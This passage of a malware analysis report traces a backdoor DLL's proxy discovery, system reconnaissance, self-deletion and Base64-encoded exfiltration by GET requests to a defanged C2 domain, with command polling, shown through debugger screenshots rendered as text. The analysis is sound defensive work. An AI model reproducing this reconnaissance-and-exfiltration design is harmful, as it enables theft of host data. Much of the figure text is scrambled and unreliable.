	• <	AB 17 F1	The set hand an acceler of	>
edi=0 .text:100061E6	fastuserswitching Dump 2 💭 Dump 3	compatibilityex.dll:\$61 010 Dump 4 010 Dump 5	E6 #55E6 Watch 1 Match 1 004FCEF4 80000001 ASCII 004FCEFE 00020019	osoft\\Windows\\CurrentVersion\\Internet Settings"

Figure 50

Also same function is used to get the "ProxyServer" (hostnames/IPs of the proxy server on the network) and "ProxyOverride" (hostnames/IPs that bypass the proxy server) values from the same registry key. The extraction of "ProxyServer" value is shown below:

	 100061F2 100061F3 100061F9 100061FA 100061FC 100061FE 100061FE 10006203 	50 80 85 D8 F6 FF FF 50 6A 00 68 <u>38 80 00 10</u> FF 75 F0	push eax lea eax,dword ptr ss:[ebp-928] push eax push 0 push fatuserswitchingcompatibilityex.1000BD38 push dward ptr ss:[ebp-10]	1000BD38:"ProxyServer"
EIP	10006206	FF D7	call edi	edi:RegQueryValueExA
	* <			>
.text:10006206	fastuserswitching	compatibilityex.dll:\$	6206 #5606	
Dump 1	Dump 2 💭 Dump 3	Dump 4 Dump	5 💮 Watch 1 🛛 🕸 Locals 🖉 Struct	004FCEF0 0000033C 004FCEF4 10008D38 "ProxyServer"
Address Hex			ASCII	004FCEF8 00000000
004FCF14 01 00 004FCF24 00 00	$\begin{array}{cccccccccccccccccccccccccccccccccccc$	00 00 00 00 00 00 00 00 00 00 00 00 00	00	004FCEFC 0006000 004FCF00 004FEB14 004FCF04 004FF430

Figure 51

As in the first method, the attacker verifies if he's able to connect to the same URL using the proxy settings he found in the registry. If the connection is successful it will append the content of that page to the .log file together with some new parameters:

95 96	///////////////////////////////////////	
97		
98	method 3:	
99		
100	User:	Figure 52
101		i igule 52
102	ProxyIP:	
103	ProxyBypass:	
104	User:	
105	Pass:	
106	<response from="" server="" the=""></response>	

Also, because the method works, the malicious process modifies the config_t.dat file by setting UP=1, PF=10 and then PS (proxy server), PP (proxy port), PU (proxy user), PW (proxy password) are set according to the settings found. If the connection fails, the message "Method3 Fail!!!!!" is appended to the .log file. Method4 is pretty similar to Method3 presented above and will not be explained in details. One of the differences is that the "Method4 Fail!!!!!" message is appended to the .log file if the network connection isn't successful.

If all methods fail, the infection will stop and the following operations are performed (self-deleting malware): "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\FastUserSwitchingCompatibility\Enum", "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\FastUserSwitchingCompatibility\Parameters", "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\FastUserSwitchingCompatibility\Security" and "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\FastUserSwitchingCompatibility" registry keys are deleted using RegDeleteKeyA function. The following files are deleted as well: "C:\WINDOWS\system32\enumfs.ini", "C:\WINDOWS\system32\dnlist.ini", "C:\WINDOWS\system32\udidx.ini", "C:\WINDOWS\system32\uenumfs.ini" and "C:\WINDOWS\system32\stat t.ini" (some of them don't exist at this time).

If one of the methods enumerated above works, the malicious process sleeps for 60 seconds and then creates another thread that we'll call Thread1, sleeps another 10 seconds, and creates Thread2. The main thread will enter into an infinite loop until the variable found at 0x100163E8 (absolute address) is set to 3:



Thread1 activity

Firstly the thread retrieves the volume serial number ("A2C9-AD2F") associated with "C:\" directory using GetVolumeInformationA function. This number will be used as a host id in the communication with the C2 server as we will see later on. Also it uses GetComputerNameA API to find the NETBIOS name of the computer, GetUserNameA API to find the username associated with the current thread, gethostname API to retrieve the host name for the computer and gethostbyname/inet_ntoa functions to print the IP address of the computer:

1000312C FF 75 0C 1000312F FF 75 08 10003138 FF 534 92 00 10 10003138 FF 55 47 1000313A 7 7 10003130 FF 75 08 100<	<pre>push oword ptr ss:[ebp+6] push dword ptr ss:[ebp+8] call dword ptr ds:[<&gethostname>] test edx,eax jne fastuserswitchingcompatibilityex.10003183 push dword ptr ss:[ebp+8] call dword ptr ds:[<&gethostbyname>] mov edi,eax cmp edi,esi je fastuserswitchingcompatibilityex.10003183 mov eax,dword ptr ds:[edi+C] mov eax,dword ptr ds:[esi+eax] test edx,eax je fastuserswitchingcompatibilityex.10003183 push dword ptr ds:[eax] call dword ptr ds:[exa]</pre>	edi:CreateThread edi:CreateThread edi:CreateThread x87 x87 x87 x87 x87 x87 x87 x87 x87 x87
10003150 50 20 100 10003151 68 44 B1 00 10 10003163 FF 75 10 10003163 10003164 10003166 FF 15 90 91 00 10 10003166 FF 75 10 10003167 E8 88 58 00 00	<pre>push eax push fastuserswitchingcompatibilityex.1000B1A4 push dword ptr ss:[ebp+10] call dword ptr ds:[ebp+10] call dword ptr ss:[ebp+10] call <fastuserswitchingcompatibilityex.strlen></fastuserswitchingcompatibilityex.strlen></pre>	1000B1A4: "%s" x87 x87 x87 x87 v87 v87 v87 v87 v87 v87 v87 v87 v87 v
dword ptr [1000923C <fastuserswitchingcompatibilityex.&ir .text:10003157 fastuserswitchingcompatibilityex.dll:\$3157</fastuserswitchingcompatibilityex.&ir 	net_ntoa>]= <ws2_32.inet_ntoa> 7 #2557 8 Watch 1 [x=1]ocale ()008FF198 10016504 fastuser</ws2_32.inet_ntoa>	1: 2: 3: 4: 4: switchingcompatibilityex.10016504
e-s Comp 1 e-s Comp 2 e-s Comp 3 e-s Comp 3 e-s Comp 4 e-s Com	ASCII 192.168.164.128. DESKTOP-2	

One more time the "ProductType" value from

"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions" registry key is retrieved as shown in figure 55:

	•	10005450	50		push e	хь					eax: "bQ"		x87r	17
31 2		10005451 10005454 10005454 10005454 10005459 10005464 10005467 10005468 10005468 10005466 10005466	6A 01 53 68 48 88 68 02 00 FF 15 08 1 80 45 DC 50 80 85 50 1 50 53 53 53 53 53 53	00 10 00 80 90 00 10 FE FF FF	push e push e push f push f lea ea push e lea ea push e push e	bx astuserswit 000002 word ptr di x,dword ptr ax x,dword ptr ax bx bx	cchingcompa ::::::::::::::::::::::::::::::::::::::	tibilit; nKeyExA 4] B0]	/ex.1000	3848	10008848:"SYSTEM\/CurrentControlSet\/Cor [ebp-24]:"C:\/WINDOWS\/System32\/system_ eax:"bQ" 10008857:"BoodustTume"	tri T.i	x871 x871 x871 x871 x871 x871 x875 x875	TW, TW, TW, TW, Sti SW, SW,
	0	10005476 10005479	FF 75 FC FF 15 04 1	<u>90 00 10</u>	push di call di	word ptr se word ptr ds	:[ebp-4] :[<&RegQue	ryValue	[XA>]	10.10	2000BSC: Hodactype	>	Defau	it (
dword ptr	10009008 <f< th=""><th>astuserswit</th><th>chingcompat</th><th>bilityex.ℜ</th><th>gOpenKeyExA</th><th>>]=<advapi< th=""><th>32.RegOpenk</th><th>(eyExA></th><th></th><th></th><th></th><th></th><th>2: [</th><th>es</th></advapi<></th></f<>	astuserswit	chingcompat	bilityex.ℜ	gOpenKeyExA	>]= <advapi< th=""><th>32.RegOpenk</th><th>(eyExA></th><th></th><th></th><th></th><th></th><th>2: [</th><th>es</th></advapi<>	32.RegOpenk	(eyExA>					2: [es
.text:10005	45E fastuse	rswitchingc	ompatibility	/ex.dll:\$545E	#485E								3: 4: 5: 1	es es
Dump 1	Dump 2	Dump 3	Dump 4	Dump 5	🛞 Watch 1	[x=] Locals	2 Struct		OBFE12C	80000002 10008848	"SYSTEM\\CurrentControlSet\\Control\\Prod	ctopt	ions'	
Address H	ex				ASCII				008FE134	00000000				1
008FF26C 9	00 00 00 0	6 00 00 00	02 00 00 00	F0 23 00 00		.0#			OBFE138	000000001 00BFF344	"bQ"			

Figure 55

The malicious process enumerates the available disks drives and it's interested in type 3 drives (DRIVE_FIXED) as shown in the screenshot below:



RegOpenKeyExA API is utilized to open

"HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0" registry key and then RegQueryValueEx is used to retrieve "VendorIdentifier", "Identifier" and "~MHz" values:

EIP		100057AE 100057AF 100057B1 100057B2 100057B7 100057B7 100057C2 100057C5	50 6A 01 53 68 08 89 0 68 02 00 0 FF 15 08 9 8D 45 F0 50 80 85 40 5	0 10 0 80 0 00 10	push e push 1 push e push 8 call d lea ea push e	ax astuserswill 0000002 word ptr di x,dword ptr ax x dword ptr	tchingcomp s:[<mark><&RegOp</mark> r ss: [ebp-]	atibili enKeyEx 10]	tyex.100089D A>]	8	100089D8: "HARDWARE\\DESCRIPTION\\System\\	,cı	x87r x87T x87T x87T x87T x87T x87T
		100057CC 100057CC 100057CE 100057CE 100057CF 100057D4	50 53 53 68 <u>C4 B9 0</u> FF 75 E4	<u>0 10</u>	push e push e push f push d	ax bx astuserswi word ptr s	tchingcomp	atibili	tyex.100089C	4	1000B9C4: "VendorIdentifier"		x8751 x8751 x8751 x8751
	:	10005707	FF 15 04 9	0 00 10	carr d	word ptr d	s: [<&RegQu	eryvalu	eexa>j	-		>	Default
dword ptr	[10009004 <	fastuserswite	chingcompati	bilityex.&R	egQueryValue	ExA>]= <adv< th=""><th>api32.RegQ</th><th>ueryval</th><th>ueExA></th><th></th><th></th><th></th><th>1: [e 2: [e</th></adv<>	api32.RegQ	ueryval	ueExA>				1: [e 2: [e
	_												3: 6
.text:100	057D7 fastus	erswitchingco	ompatibility	ex.d11:\$57D	7 #48D7	1	1	-	00055405 00	000000		_	5: [e
Ump 1	Dump 2	Dump 3	Dump 4	Dump 5	💮 Watch 1	[x=] Locals	2 Struct		008FE130 10	0089D8	"HARDWARE\\DESCRIPTION\\System\\CentralPro	cesso	r\\0"
Address 10016DB8 10016DC8	Hex 43 50 55 3A 00 00 00 00 0 0 0 0 0 0 0 0 0 0 0 0	20 00 00 00 00.00 00 10005818 10005822 10005823 10005823 10005824 10005824 10005824	00 00 00 00 50 80 85 A0 F 50 53 53 68 <u>84 89 0</u> FF 75 E4 FF 15 <u>04 9</u>	00 00 00 00 00 00 00 00 E FF FF 0 10 0 00 10	ASCII EPU: push e push e push e push e push d call d	ax x,dword ptr ax bx bx astusersw11 word ptr s: word ptr d:	ss: ebp-1	160] atibilii	008FE134 00 008FE13C 00 008FE13C 00	000001 BFF32C	10008984: "Identifier"		
	•	<										>	
dword ptr .text:100	[10009004 < 0582D fastus 0582D fastus	fastuserswitc erswitchingco	mpatibility	ex.dll:\$5820	egQueryValue #4C2D 🛞 Watch 1	ExA>]= <adv< th=""><th>api32.RegQ</th><th>ueryval</th><th>008FE128 00 008FE12C 10</th><th>0003C4</th><th>"Identifier"</th><th></th><th></th></adv<>	api32.RegQ	ueryval	008FE128 00 008FE12C 10	0003C4	"Identifier"		
Address 00BFF1E8 00BFF1F8	Hex 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00 00 10005 856 10005 857 10005 85A 10005 85A 10005 85C 10005 85D 10005 85D	50 00 00 00 00 80 45 C8 50 53 53 68 AC B9 0 FF 75 E4	00 00 00 00 00 00 00 00 00 00 00 00 00	ASCII push e lea ea push e push e push f push d	ax x,dword ptr ax bx astuserswit word ptr ss	ss:[ebp-3 cchingcompa ::[ebp-1C]	18] 11101111	00BFE130 00 00BFE134 00 00BFE138 00 00BFE13C 00	000000 000000 BFF1E8 BFF338	1000B9AC: "-MHz"		
EIP		10005865	FF 15 04 9	0 00 10	call d	word ptr de	. L<&Regque	eryvatue	eexa>j		1		
dword ntr	[10009004 <	Factucerswitz	hingcompati	hilitvey AR	anuervvalue	Exablecady	ani32 RedDa	uervval	UREVAN	_		-	
.text:100	05865 fastus	erswitchingco	mpatibility	ex.dll:\$5865	#4C65	Laste J-securi	up i se i negų	act yvdi	aseanr				
Dump 1	Dump 2	Ump 3	Dump 4	Dump 5	🛞 Watch 1	x= Locals	2 Struct		008FE128 00	0003C4	"-MH7 "		
Address	Hex				ASCII	1			008FE130 00	000000	- THE RE		
10016D88 10016DC8	43 50 55 3A 44 20 41 4D 22 20 40 65	20 41 75 74 4 44 36 34 20 4	6 65 6E 74 6 61 6D 69	69 63 41 4D 6C 79 20 32 74 65 70 70	CPU: Auther D AMD64 Fan 2 Model 24	nticAM nily 2 Stann			008FE134 00 008FE138 00 008FE13C 00	BFF310 BFF338			

The process uses GlobalMemoryStatus function to get information about system's usage of physical and virtual memory. All the information extracted so far will be stored in a new file called

"C:\Windows\SysWOW64\system_t.dll" in order to exfiltrate it. All translations from chinese to english are provided to better understand the content of the file: "计算机信息" translates to "computer information", "计算机" translates to "computer", "用户名" translates to username, "Ip地址" translates to "Ip address", "操作系统" translates to "operating system", "磁盘空间" translates to "disk space", "总磁盘空间为" translates to "The total disk space is", "剩余磁盘空间为" translates to "The remaining disk space is", "占" translates to "take up", "物理内存" translates to "physical memory", "总物理内存" translates to "Total physical memory" and "可用内存" translates to "Available memory":

🔚 syster	n_t.dll 🖂	
1	[计算机信息]	-
2	计算机: DESKTOP-2	
3	用户名:	
4	Ip地址: 192.168.164.128	
5	操作系统: Professional, (Build 9200)	Figure 58
6		
7	磁盘空间: 总磁盘空间为:79GB,剩余磁盘空间为20GB(占25.32%)	
8	CPU: AuthenticAMD AMD64 Family 23 Model 24 Stepping 1 2096MHZ	
9	物理内存: 总物理内存:2047MB,可用内存:1364MB (占66.67%)	
10		

A list of processes is retrieved using Process32First and Process32Next APIs as shown below:



After the operation is complete and the malware obtains the list of processes, it will be appended to system_t.dll ("进程列表" translates to "Process list"):

11	[进程	列表]	
12	0	[System Process]	
13	4	System	
14	500	smss.exe	
15	604	csrss.exe	
16	672	wininit.exe	
17	684	csrss.exe	
18	732	winlogon.exe	
19	796	services.exe	
20	804	lsass.exe	
21	884	svchost.exe	
22	892	fontdrvhost.exe	
23	900	fontdrvhost.exe	
24	980	svchost.exe	
25	8	dwm.exe	
26	576	svchost.exe	
27	1044	svchost.exe	
28	1060	svchost.exe	Figure 60
29	1076	svchost.exe	i iguio oo
30	1200	svchost.exe	
31	1292	Memory Compression	
32	1444	svchost.exe	
33	1452	svchost.exe	
34	1544	svchost.exe	
35	1552	svchost.exe	
36	1636	svchost.exe	
37	1712	svchost.exe	
38	1776	spoolsv.exe	
39	2028	WmiPrvSE.exe	
40	2080	armsvc.exe	
41	2096	svchost.exe	
42	2112	diskpls.exe	
43	2136	dupscts.exe	
44	2164	IpOverUsbSvc.exe	
45	2220	TenorshareWinAdService.exe	
46	2244	VGAuthService.exe	

The next step is to create a pipe using CreatePipe API. This will be used as an inter-process communication mechanism. It will create a new process "ipconfig /all" which displays the full TCP/IP configuration for all adapters and the output will be transmitted back to the original process through pipes:

	50 50 85 7C FF FF FF 57 57 57 56 57 50 57 50 57 57 57 57 57 57 57 57 57 57	push eax lush eax push edi push e		eax:"ipconfig /all" eax:"ipconfig /all" eax:"ipconfig /all"	>
text:10005BB8 fastuserswitchingcom	patibilityex.dll:\$5888 #4F	B8	008FC 888 00	000000	
grig Dump 1 grig Dump 2 grig Dump 3 kddress Hex 008FF33C CO 03 00 00 05 38 EC 7A C8 008FF34C 001 F0 00 10 BD 45 32 76 00 008FF35C CO 00 00 00 00 80 45 32 76 00 008FF35C CO 00 00 00 00 00 00 00 00 008FF35C CO 00 00 00 00 00 00 00 00 00	Image: Wight Dump 4 Image: Wight Dump 5 Image: Wigh Dump 5 Image: Wigh Dump 5	Watch 1 x= Locals 2 Stru II .\$12£+2. 'E2V	ct 008FC89C 00 008FC890 00 008FC894 00 008FC898 00 008FC898 00	BFF308 "ipconfig /all" 000000 000000 000001 000000	

The output of the ipconfig process is saved to system t.dll as shown in the figure below:

```
87
   NUL
88
   Windows IP Configuration
89
90
    91
    Primary Dns Suffix . . . . . . . .
92
    IP Routing Enabled. . . . . . . . . . No
93
94
     WINS Proxy Enabled. . . . . . . . . . No
95
     DNS Suffix Search List. . . . . : localdomain
96
97
  Ethernet adapter Ethernet0:
98
    Connection-specific DNS Suffix . : localdomain
99
    Description . . . . . . . . . . . . . . . . Intel(R) 82574L Gigabit Network Connection
100
    101
    DHCP Enabled. . . . . . . . . . . . Yes
102
103
    Autoconfiguration Enabled . . . . : Yes
104
    Link-local IPv6 Address . . . . : fe80::bld6:3a45:ca5e:9bee%6(Preferred)
105
    106
    107
    Lease Obtained. . . . . . . . . . Monday, November 9, 2020 5:16:45 AM
108
    Lease Expires . . . . . . . . . . . Monday, November 23, 2020 6:11:18 AM
     Default Gateway . . . . . . . . . :
109
110
     111
     112
113
     114
     NetBIOS over Tcpip. . . . . . . : Enabled
```

Figure 62

The malware checks the UP value from config_t.dat using GetPrivateProfileInt function. According to the Kaspersky report, the content of system_t.dll file will be compressed using a custom Lempel-Ziv-based algorithm and encoded with a modified Base64 algorithm. The function responsible for this operation and the "modified Base64" alphabet is displayed in figure 63:

	100010DF 50 100010E0 50 100010E1 50 100010E3 50 100010E4 8D 45 100010E4 8D 45 100010E7 50 50 100010E8 8D 45 100010E8 50 50 100010E8 50 50 100010E8 50 57 100010E 68 53 100010F8 8B 65 100010F8 6B 64 10001010 6A 04 10001105 59 10001106 10001106 7F 59 10001107 6A 04 10001108 85 52 10001100 6A 04 10001101 58 56 10001110 6B 6A 10001111 8B 65 10001113 8B 56 10001113 57 <th>PUSh eas lea eax, push eas lea eax, push eas lea eax, push eas inc esi push dw push dw push dw easl eas inc esi inc esi</th> <th>dword ptr ss:[ebp-C] dword ptr ss:[ebp-4] dword ptr ss:[ebp-4] ord ptr ss:[ebp-4] ord ptr ss:[ebp+6] ord ptr ss:[ebp+6] ord ptr ss:[ebp+6] it comparison it compari</th> <th>tyex.10001000 yex.100010CB ex.10001113 yex.10001100</th> <th>ecx: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijk ecx: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijk 2A: '=' edi: "xS4"</th>	PUSh eas lea eax, push eas lea eax, push eas lea eax, push eas inc esi push dw push dw push dw easl eas inc esi inc esi	dword ptr ss:[ebp-C] dword ptr ss:[ebp-4] dword ptr ss:[ebp-4] ord ptr ss:[ebp-4] ord ptr ss:[ebp+6] ord ptr ss:[ebp+6] ord ptr ss:[ebp+6] it comparison it compari	tyex.10001000 yex.100010CB ex.10001113 yex.10001100	ecx: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijk ecx: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijk 2A: '=' edi: "xS4"
fastuserswitchingcomp	atibilityex.10001000				
.text:100010F6 fastus	erswitchingcompatibilit	yex.dll:\$10F6 #4F6			
Dump 1 Dump 2	Dump 3 Dump 4	💷 Dump 5 🛛 💮 Watch 1	Ix=I Locals 🖉 Struct	008FF290 00F287C8 008FF294 00000612	
Address Hex 10008048 41 42 43 44 10008058 51 52 53 54 10008058 67 68 69 6A 10008058 77 8 79 7A	45 46 47 48 49 4A 4B 4C 55 56 57 58 59 5A 61 62 6B 6C 6D 6E 6F 70 71 72 30 31 32 33 34 35 36 37	ASCII 4D 4E 4F 50 ABCDEFGHIJKL 63 64 65 66 QRSTUVWXYZab 73 74 75 76 38 39 07	MNOP cdef stuv 89-/	008FF298 0000006 008FF29C 008FF2C4 008FF2A0 008FF2BS 008FF2A4 008FF2BC 008FF2A8 008FF2C0	

The encoded data is exfiltrated via a GET request to vipmailru[.]com (C2 server). The following parameters are provided in the URL: hostid = the serial number of current disk drive, hostname = hostname, hostip = IP of the machine, filename = "travlerbackinfo-<year>-<month>-<day>-<hour>-<minute>.dll":

	10003689 53 10003687 68 00 01 40 80 1003687 53 1003640 53 1003650 53 1003640 53 1003650 53 1003640 53 1003650 53 1003652 FF 75 FC 1003650 68 E8 B1 00 10 1003650 FF 15 14 92 00 10 1003650 89 45 0C 10003650 89 45 0C 10003651 68 41 3 01 00 00 10003651 64 04 10003654 51 10003657 50 10003657 74 5 08 60 EA 00	<pre>push ebx push ebx push ebx push ebx push ebx push doxd ptr ss:[ebp-4] push fastuserswitchingcompatibility push dword ptr ss:[ebp+0] call dword ptr ss:[ebp+c],eax mov dword ptr ss:[ebp+c],eax je fastuserswitchingcompatibilityex lea ecx,dword ptr ss:[ebp+8] push 4 push ecx push 2 push eax mov dword ptr ss:[ebp+6],EA60</pre>	ex.1000B1E8 tA>] .100037F1	1000B1E8: "GET"
dword ptr [10009214 <f .text:100036CD fastuse</f 	astuserswitchingcompatibilitye rswitchingcompatibilityex.dll: Dump 3 Dump 4 Dump 4 Dump 4	. &HttpOpenRequestA>]= <wininet.httpopenreques< td=""><td>0350420 00CC0008 08FD424 100081E8 "0</td><td>5ET"</td></wininet.httpopenreques<>	0350420 00CC0008 08FD424 100081E8 "0	5ET"
Address Hex 00F29638 2F 6E 5 77 00F29648 6F 74 72 69 00F29658 6F 74 74 62 6 00F29668 6F 72 74 69 6 00F29668 6F 72 74 69 6 00F29678 32 72 74 69 6 00F29684 39 32 25 61 3 00F29684 61 63 68 69 6 00F29684 73 74 61 72 7 00F29684 73 74 61 72 7 00F29768 61 43 75 52 44 75 31 4 00F29768 44 74 73 31 4 66 78 74 64 75 31 4 07 33 4 07 292718 <td>$\begin{array}{cccccccccccccccccccccccccccccccccccc$</td> <td>ASCII 66 //newsinfo/lit//n 68 ettraveler.asp?h 68 ostid=223A02FAh 50 ostid=223A02FAh 50 ostid=263A02FAh 50 ostid=56412847 51 28 ostid=56412847 52 1ename=travlerb 52 2.168.164.12847 52 1ename=travlerb 53 23-5-49.d1l&file 53 245-49.d1l&file 54 day303006x21EXQ 50 acutHog1hFK2LKhP 50 acutHog1hFK2LKhP 50 acutHog1hFK2LKhP 50 acutHog27Ly118Y0 50 acutHog</td> <td>08F0428 00F29638 08F0428 0000000 08F0430 0000000 08F0434 0000000 08F0438 80400100 08F04440 0000000 08F04440 0000000 08F04440 0000000 08F0445 0000000 08F0450 0000000 08F0455 00000000 08F0456 0000000 08F0456 0000000 08F0456 0000000 08F0456 0000000 08F0457 00000000 08F0457 0000000 08F0457 00000000 08F0457 00000000 08F0457 00000000 08F0457 00000000 08F0457 00000000 08F0457 000000000 08F0457 000000000000000 08F0457 0000000000</td> <td>erne132.GetProcessHeap</td>	$\begin{array}{cccccccccccccccccccccccccccccccccccc$	ASCII 66 //newsinfo/lit//n 68 ettraveler.asp?h 68 ostid=223A02FAh 50 ostid=223A02FAh 50 ostid=263A02FAh 50 ostid=56412847 51 28 ostid=56412847 52 1ename=travlerb 52 2.168.164.12847 52 1ename=travlerb 53 23-5-49.d1l&file 53 245-49.d1l&file 54 day303006x21EXQ 50 acutHog1hFK2LKhP 50 acutHog1hFK2LKhP 50 acutHog1hFK2LKhP 50 acutHog27Ly118Y0 50 acutHog	08F0428 00F29638 08F0428 0000000 08F0430 0000000 08F0434 0000000 08F0438 80400100 08F04440 0000000 08F04440 0000000 08F04440 0000000 08F0445 0000000 08F0450 0000000 08F0455 00000000 08F0456 0000000 08F0456 0000000 08F0456 0000000 08F0456 0000000 08F0457 00000000 08F0457 0000000 08F0457 00000000 08F0457 00000000 08F0457 00000000 08F0457 00000000 08F0457 00000000 08F0457 000000000 08F0457 000000000000000 08F0457 0000000000	erne132.GetProcessHeap

Figure 64

If the server response contains "Success:", the exfiltration was successful. The malicious process also deletes system_t.dll using DeleteFileA API. It performs another GET request (to the same C2 server) with the parameters including "action=getcmd" and others which were already explained above:

510		3D76 53 3D77 68 3D7C 53 3D7D 53 3D7E 53 3D7F 50 3D80 68 3D85 FF	00 01 40 8 <u>E8 B1 00 1</u> 75 F0 15 14 92 0	0 0 9 10	push ebx push 8040 push ebx push ebx push ebx push eax push fast push fast call dwor	0100 userswitchi d ptr ss:[e d ptr ds:[-	ngcompati bp-10	bilityex.10	0008168	eax:"/newsinfo/lint/r 1000B1E8:"GET"	x87TW_4 3 (Em x87TW_6 3 (Em x87TW_6 3 (Em x87StatusWord x87SW_8 0 x x87SW_21 0 x x87SW_21 0 x x87SW_25 0 x	pty) x8/1W_3 pty) x87TW_5 pty) x87TW_5 ipty) x87TW_7 i 0000 i875W_C3 0 x8 i875W_C0 0 x8 i875W_C 0 x8 i875W_P 0 x8	3 (Empty) 3 (Empty) 3 (Empty) 7SW_C2 0 7SW_ES 0 7SW_U 0	
	• 1000	3D 8E 38	C3		cmp eax,e	bx				eax:"/newsinfo/lint/r	Default (stdcall)			• 5 0
dword ptr	[10009214 <fa 3D88 fastuser</fa 	stuserswite switchingco	chingcompati ompatibility	/ex.dll:\$3D8	ttpOpenReque	estA>]= <win< th=""><th>inet.Http:</th><th>ipenRequest</th><th>A></th><th></th><th>1: [esp] 00CC 2: [esp+4] 10 3: [esp+8] 00 4: [esp+C] 00</th><th>0008 0081E8 "GET" 93EAA0 "/newsir 000000</th><th>ifo/11nt/nettr</th><th>raveler.as</th></win<>	inet.Http:	ipenRequest	A>		1: [esp] 00CC 2: [esp+4] 10 3: [esp+8] 00 4: [esp+C] 00	0008 0081E8 "GET" 93EAA0 "/newsir 000000	ifo/11nt/nettr	raveler.as
Dump 1	Dump 2	Dump 3	Ump 4	Dump 5	🛞 Watch 1	[x=] Local	0093026	4 00CC0008 8 1000B1E8	"GET"					
Address H	ex			the second second	ASCII	1	0093026	C 0093EAA0	"/newsinfo/1	int/nettraveler.asp?act	ion=getcmd&host	id=A2C9AD2F&hos	tname=DESKTOP	-2 -2 "
0093EAA0 2 0093EAB0 6 0093EAC0 6 0093EAD0 7 0093EAE0 7 0093EAE0 7	F 6E 65 77 73 5 74 74 72 61 3 74 69 6F 6E 4 69 64 3D 41 4 6E 61 6D 65	69 6E 66 0 76 65 6C 0 3D 67 65 32 43 39 3D 44 45 5 00 00 00 00	6F 2F 31 31 65 72 2E 61 74 63 6D 64 41 44 32 46 53 4B 54 4F 00 00 00 00	6E 74 2F 6E 73 70 3F 61 26 68 6F 73 26 68 6F 73 50 2D 32 00 00 00 00	/newsinfo/: ettraveler ction=getc tid=A2C9AD: tname=DESK	11nt/n .asp?a nd&hos 2F&hos TOP-20	0093027 0093027 0093027 0093028 0093028 0093028	4 0000000 6 0000000 6 0000000 6 0000000 0 0000000 4 76524580 8 00092700	msvcrt.sprin	cf.				
Figure	65													

The result of the query must contain "[CmdBegin]\r\n" at the beginning of the message and "[CmdEnd]\r\n" at the end of it. The message between the "borders" is saved at "C:\Windows\System32\stat_t.ini" and then the process performs a GET request (same C2 server) with a modified parameter "action=gotcmd" and other parameters used before:

36	 10003D76 10003D77 10003D77 10003D70 10003D70 10003D75 10003D80 10003D85 10003D85 	53 68 00 01 40 80 53 53 53 50 68 <u>68 B1 00 10</u> FF 75 F0 FF 15 14 92 00 10	push ebx push 80400100 push ebx push ebx push eax push fastuserswitching push dword ptr ss[ebp call dword ptr ds1[44]	pcompatibilityex.100081 10] HttpOpenRequestA>]	eax:"/newsinfo/llnt/r 1000BL6s:"GET"	Asim_cs (Empty) Asi x87TW_4 3 (Empty) x8i x87TW_6 3 (Empty) x8i x87TW_6 3 (Empty) x8i x87StatusWord 0000 x87SW_B 0 x87SW_C3 (0 x87SW_C1 0 x87SW_C 0 x87SW_SF 0 x87SW_P (0) x87SW_SF 0 x87SW_P	Hm_S 3 (Empty) TTW_S 3 (Empty) TTW_7 3 (Empty) VM_7 3 (Empty) X875W_C2 0 X875W_E5 0 X875W_U 0 X875W_U 0
dword ptr	10003D8E (10009214 <fastusers< td=""><td>switchingcompatibility</td><td>ex.4HttpOperRequestA>]=<winin :\$3D88 #3188</winin </td><td>et.HttpOpenRequestA></td><td>eax: /newsimro/lint// ></td><td>Default (stdcal) 1: [esp] 00CC0008 2: [esp+4] 10081E8 "GE 3: [esp+8] 0093EABC "/n 4: [esp+C] 00000000</td><td>▼ 5 € □ T" ewsinfo/lint/nettraveler.as</td></fastusers<>	switchingcompatibility	ex.4HttpOperRequestA>]= <winin :\$3D88 #3188</winin 	et.HttpOpenRequestA>	eax: /newsimro/lint// >	Default (stdcal) 1: [esp] 00CC0008 2: [esp+4] 10081E8 "GE 3: [esp+8] 0093EABC "/n 4: [esp+C] 00000000	▼ 5 € □ T" ewsinfo/lint/nettraveler.as
Dump 1 Addr ess H 0093EABC 6 0093EACC 6 0093EACC 7 0093EAFC 7 0093EAFC 7	Image Image <th< td=""><td>p 3 U Dump 4 U Dump 4 66 6F 2F 31 31 6E 74 6C 65 72 2E 61 73 70 6F 74 63 6D 64 26 68 91 41 44 32 46 26 68 45 53 48 54 4F 50 2D 00 00 00 00 00 00 00</td><td>mp 5 ∰ Watch 1 x= Local ASCII 2F 66 (/newsinf0/lint/n 3F 61 ettraveler.asp7a 6F 73 ttion=gotemd&hos 6F 73 ttion=gotemd&hos 67 73 ttion=gotemd&hos 67 73 ttion=gotemd&hos 67 73 ttion=gotemd&hos 10 000</td><td>COD930280 OOCC0008 00930284 10008168 "G6 00930285 00380285 0038028 00930284 0000000 00380290 00930284 00000000 00380290 00380290 00000000 00380290 00380290 00000000 00380290 00380290 00000000 00380290 00380290 00000000 00380290 00380290 00000000 00380290</td><td>T" ewsinfo/lint/nettraveler.asp?acti</td><td>on=gotcmd&host1d=A2C9AD2</td><td>F&hostname=DESKTOP-2</td></th<>	p 3 U Dump 4 U Dump 4 66 6F 2F 31 31 6E 74 6C 65 72 2E 61 73 70 6F 74 63 6D 64 26 68 91 41 44 32 46 26 68 45 53 48 54 4F 50 2D 00 00 00 00 00 00 00	mp 5 ∰ Watch 1 x= Local ASCII 2F 66 (/newsinf0/lint/n 3F 61 ettraveler.asp7a 6F 73 ttion=gotemd&hos 6F 73 ttion=gotemd&hos 67 73 ttion=gotemd&hos 67 73 ttion=gotemd&hos 67 73 ttion=gotemd&hos 10 000	COD930280 OOCC0008 00930284 10008168 "G6 00930285 00380285 0038028 00930284 0000000 00380290 00930284 00000000 00380290 00380290 00000000 00380290 00380290 00000000 00380290 00380290 00000000 00380290 00380290 00000000 00380290 00380290 00000000 00380290	T" ewsinfo/lint/nettraveler.asp?acti	on=gotcmd&host1d=A2C9AD2	